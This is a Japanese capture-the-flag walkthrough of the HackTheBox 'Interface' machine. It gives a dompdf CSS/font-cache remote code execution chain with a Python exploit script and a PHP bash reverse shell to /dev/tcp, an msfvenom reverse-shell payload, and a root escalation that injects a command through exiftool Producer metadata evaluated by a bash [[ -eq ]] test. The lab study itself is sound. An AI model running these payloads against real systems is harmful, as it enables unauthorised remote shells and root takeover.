HackTheBox Interface Walkthrough

enumerationやbashの性質を利用したインジェクションの部分など、学ぶことがたくさんありやりがいあるboxでした。ただ正解のやり方を書くのではなく、どうしてその方法をとったのかなど少し冗長に書きます。

# Recon
## ポートスキャン

```
╭─[shoebill@kali]─[~/Interface_10.10.11.200] 
╰─$ sudo nmap -v -sS -sC -sV -Pn -T4 -p- -A 10.10.11.200 -oN allports.txt
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
|   256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_  256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 1.092 days (since Wed Mar  1 14:07:01 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

webサーバが立ってるのでブラウザでみにいく。ソースコードをみると"interface.htb"のドメインを発見。

![found_domain.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/5d0bf54d-091d-1191-b055-0c133ec38b35.png)

`/etc/hosts`を編集する。

```bash:/etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
10.10.11.200	interface.htb
```

## Content-Security-Policyからサブドメインを発見

以下のようにサブディレクトリを探しても、サブドメインを探しても何もみつからない。

```bash
gobuster dir -u 'http://interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e -k -x "txt,html,php,js" 
wfuzz  -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://interface.htb' -H 'Host: FUZZ.interface.htb'
```

ページのソースをよく読んでも脆弱性がみつからない。

ここで手詰まりしたが、Burpで見るとなんと**リスポンスヘッダのCSPにサブドメインを発見**！！

![found_subdomain.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/78a3b7b2-5e3c-1dcf-8333-3cc5ff1b23ed.png)

再び`/etc/hosts`を編集する。

```bash:/etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
10.10.11.200	interface.htb prd.m.rendering-api.interface.htb
```

## `wfuzz`でサブディレクトリをみつける

`gobuster`で`http://prd.m.rendering-api.interface.htb`のサブディレクトリを探すがうまくみつからない。

そこで**ファジングをする**。HTTPリスポンスのステータスコードじゃなくて、文字数でフィルタリングする。

![api_vendor.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/547316cd-c9ed-2d90-4e45-0e6494a3042a.png)

404だからといって無視できない(`gobuster`などのツールはデフォルトで404を無視しがち)

`/vendor/`下のディレクトリを同様にして発見。

![dompdf.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/852865a2-ce61-8c2c-d98a-5eba56988bc4.png)

## POSTメソッドでファジングする

しかし`/api/`下のディレクトリがみつからない。ブラウザでアクセスしても以下のように表示されるだけ。

![getapi.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/56bdbaa0-c02d-fd83-8517-a3f139e1cdff.png)

そこで、**メソッドにPOSTを指定してファジングする**。

![html2pdf.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/3bc7105e-74e8-614e-26fa-9be3813b408c.png)

このように、**GETメソッドではみつからないがPOSTメソッドでサブディレクトリがみつかる**ということもある。

`http://prd.m.rendering-api.interface.htb/api/html2pdf`になんのデータも付与せずPOSTすると次のように返される。

![missingparam.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/220caba4-fb7a-949d-7cc3-2d0a9b823062.png)

何かデータを指定してPOSTする模様。そこで、次のようにファジングしてみた

```bash
wfuzz --hh 36 -X POST -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u 'http://prd.m.rendering-api.interface.htb/api/html2pdf/' -d 'FUZZ=hoge'
```

がうまくみつからない。

## POSTするデータのフォーマットをjsonに変更してファジング

データのフォーマットをjson形式にしてファジングすると以下のようにパラメータがみつかる。

![htmlparam.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/a9201181-2d63-d8be-158b-9d76b712c6f9.png)

**データフォーマットをjsonとかに変えてPOSTした時の反応をみる**というテクは大切（その際`Content-Type`を`application/x-www-form-urlencoded`から`application/json`に変える）。

# Shell as www-data

dompdfについてググるとexploitがみつかる。

https://github.com/positive-security/dompdf-rce

まずXSSの脆弱性が必要。みつけたパラメータ`"html"`に、上のgithubにあるXSSのペイロードを注入してPOSTすると攻撃が成功する。

![getacc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/3b4b63ee-9bff-c741-b95a-ea3ccf0b4a7b.png)

以上の脆弱性を使ってwww-dataのシェルをとる。自分のIPアドレスに書き換えて`exploit.css`を用意する。

```css:exploit.css
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.16.4/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }
```

`exploit_font.php`の下部にある`<?php phpinfo(); ?>`を次のように書き換える

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"); ?>
```

よし、XSSしてcssとphpをダウンロードさせる。

![getcssnphp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/4d2ed612-3b79-6102-287c-9d657f3030af.png)

あのphpを実行させるには次のURLにアクセスすればよい。

```
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_440c6bdb63f85aa805beb68d14c909e3.php
```

exploitの詳細（[From XSS to RCE (dompdf 0day)](https://positive.security/blog/dompdf-rce)）に書いてあるが、`/vendor/dompdf/dompdf/lib/fonts/`の配下にキャッシュされ、ファイル名のフォーマットは`<フォント名>_<font-weight/style>_<ttfファイルへの外部リンクのmd5ハッシュ>`。

（肝は拡張子`.ttf`を`.php`に書き換えること）

リスナーを立てて、アクセスして、revshellゲット。

![initshell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/93c03d8b-4ded-10ab-b6e3-1f9320a1f7da.png)

この一連の操作を毎回やるのはダルいからpythonスクリプトを書く:

```exploit.py
#!/usr/bin/env python3
import re
import requests
import sys
from hashlib import md5

def CSSinj(attackerIP, cssfile):
    '''
    make a target download malicious css and php files
    (start the web server before running this exploit)
    '''
    print('making the target download css and php files...')
    print('attackerIP:', attackerIP)
    print('cssfile:', cssfile)

    headers = {
        'Host': 'prd.m.rendering-api.interface.htb',
        'Content-Type': 'application/json',
    }

    data = '\r\n{"html": "<link rel=stylesheet href=\'http://' + attackerIP + '/' + cssfile + '\'>"}'

    requests.post('http://prd.m.rendering-api.interface.htb/api/html2pdf', headers=headers, data=data, verify=False)

def execphp(url2php, fontname):
    '''
    accessing the cacheed php file and execute it
    '''
    md5_url2php = md5(url2php.encode()).hexdigest()
    url4rce = 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/' + fontname + '_normal_' + md5_url2php + '.php'

    print('\naccessing the cached php file...')
    print('url2php:', url2php)
    print('fontname:', fontname)
    print('url4rce:', url4rce)

    requests.get(url4rce)

def main(cssfile):
    with open(cssfile, 'r') as f:
        css_content = f.read()

    url_pattern = re.compile(r'http\S+\.php')
    urls = url_pattern.findall(css_content)
    url2php = urls[0]

    ipv4_pattern = re.compile(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")
    attackerIP = ipv4_pattern.search(url2php).group()

    font_pattern = re.compile(r"font-family:\s*['\"]?([^'\"]+)['\"]?;")
    font_name = font_pattern.search(css_content)
    fontname = font_name.group(1)

    CSSinj(attackerIP, cssfile)
    execphp(url2php, fontname)
    print('\nsucceeded in RCE?')

if __name__ == '__main__':
    # Usage: python3 exploit.py <css file>
    cssfile = sys.argv[1]
    main(cssfile)
```

下の画像にある通り、webサーバとリスナーを立てた状態で`pyton3 exploit.py exploit.css`を実行すればサクッとリバースシェルがとれる。

![exploitpy.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/370f14f7-b595-6596-aab6-d9a1621b5623.png)

（www-dataでuser.txtが得られる）

# Shell as root

ディレクトリを色々みたり、linpeasを走らせたりしたがprivesc（privilege escalatoin）できそうな部分がみつからない。

そこで`pspy64`を実行する。

![pspyrun.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/688173da-cb39-3048-5ad4-36337f631f1d.png)

rootが`/usr/local/sbin/cleancache.sh`を定期的に実行してる。このファイルはwww-dataでも読めるので中身をみてみる。

```bash:/usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
    if [[ -f "$cfile" ]]; then
        meta_producer=$(exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
        fi
    fi
done
```

単純にダブルクオーテーションだから、ファイル名にバッククオーテーションとか`$()`とか使えば簡単にインジェクションできるだろうと思ってやってみるもうまくいかない。


## `[[ $var -eq hoge ]]`に関するコマンド実行

ググってると次の記事をみつけた。

https://www.vidarholen.net/contents/blog/?p=716

`$meta_producer`の部分に`a[$(date >&2)]+dompdf`とかがくればコマンド実行できそう。

そもそも、この`cleancache.sh`はどんなファイルに実行されるのか？`/tmp/`下のファイルを取り扱うというのはわかる。たぶん上のexploitの中で行った、フォントファイルをキャッシュするときに何か`/tmp/`に作成されるのだろうと推測できる。

試しにもう一度exploitを実行してみると、pdfファイルが作成されるとわかる。

![pdffile.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/61f2a916-c883-9134-6c60-5d7eb7ac7920.png)

（そのまま`/tmp/`に置いておくと削除されてしまうので、このpdfファイルをwww-dataのホームディクトリすなわち`/var/www`にコピーしておく）

`exiftool`をそのpdfファイルに対して実行してやると

```bash
www-data@interface:~$ exiftool -s -s -s -Producer 6fe6c9bc2311059b9f6676e1605318ea.pdf 2>/dev/null
dompdf 1.2.0 + CPDF
www-data@interface:~$ exiftool -s -s -s -Producer 6fe6c9bc2311059b9f6676e1605318ea.pdf 2>/dev/null | cut -d " " -f1
dompdf
```

がわかる。この`dompdf`という文字列が変数`$meta_producer`に対応するものだから、`exiftool`を使って`Producer`に`a[$(/var/www/revshell.elf)]+dompdf 1.2.0 + CPDF`を設定してやればよい。

ただし`revshell.elf`とは次のように作成したもの：

```bash
╭─[shoebill@kali]─[~/Interface_10.10.11.200] 
╰─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.4 LPORT=443 -f elf -o revshell.elf
```

まず`revshell.elf`を`/var/www/`に送る。実行権限を付与するのを忘れない(`chmod +x revshell.elf`)。

その後、次のように`exiftool`で設定する。

```bash
www-data@interface:~$ exiftool -Producer='a[$(/var/www/revshell.elf)]+dompdf 1.2.0 + CPDF' 6fe6c9bc2311059b9f6676e1605318ea.pdf 
```

リスナーを立ててから、このpdfを`/tmp/`に送っておけばrootによるcronjobで`cleancache.sh`が実行されてrevshellがとれる。

![rootshell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/64a7349f-e2c4-a4c0-8ca4-b27ad69b5aa2.png)

# （追記）最新のferoxbusterが良さそう

あの0xdfさんがferoxbusterについて語ってる（2023/3/15アップロード）：

<iframe width="576" height="324" src="https://www.youtube.com/embed/d4tYWJzZ8QE?start=536" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>


実際にやってみよう

```bash
feroxbuster -u http://prd.m.rendering-api.interface.htb/
```

（ワードリストはデフォルトで`/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt`）
![ferox-onlyget.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/65306c66-bc1b-356b-0462-3b7f145c972f.png)

まず、圧倒的にスキャンのスピードが速い。すぐに/apiと/vendorがみつかった。

あれ？feroxbusterってみつけたディレクトリに対して自動でその配下のディレクトリも探しにいくんじゃなかったっけ？しょうがないから、エンターキーを押してScan Management Menuで/apiと/vendor下をさらにスキャンするよう追加する：
![scan_management_menu.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/2698c2a5-b708-08c7-4697-8e6531fe8706.png)

すると、/vendor下は見つかるが、/api/html2pdfがみつからない：
![ferox-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/b39c150c-ac5b-d249-1530-b2235b535305.png)

よし、メソッドにGETとPOSTの両方を指定しよう

```bash
feroxbuster -u http://prd.m.rendering-api.interface.htb/ -m GET,POST
```
(上と同様に、途中で/apiと/vendorをスキャンするようにScan Management Menuで追加する)

これですべてみつかった：
![pic-3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/9257033a-a316-6c1e-17da-34c6675bdfed.png)

まとめると、
- feroxbusterでメソッドはGETとPOSTの両方を指定
- 途中でみつかったサブディレクトリについては、Scan Management Menuで追加

gobusterからferoxbusterに乗り換えてみるか...


※バージョン2.9.1のferoxbusterがなぜかアプデしても`apt`でインストールできないので、githubから[x86_64-linux-feroxbuster.zip](https://github.com/epi052/feroxbuster/releases)をダウンロードして解凍した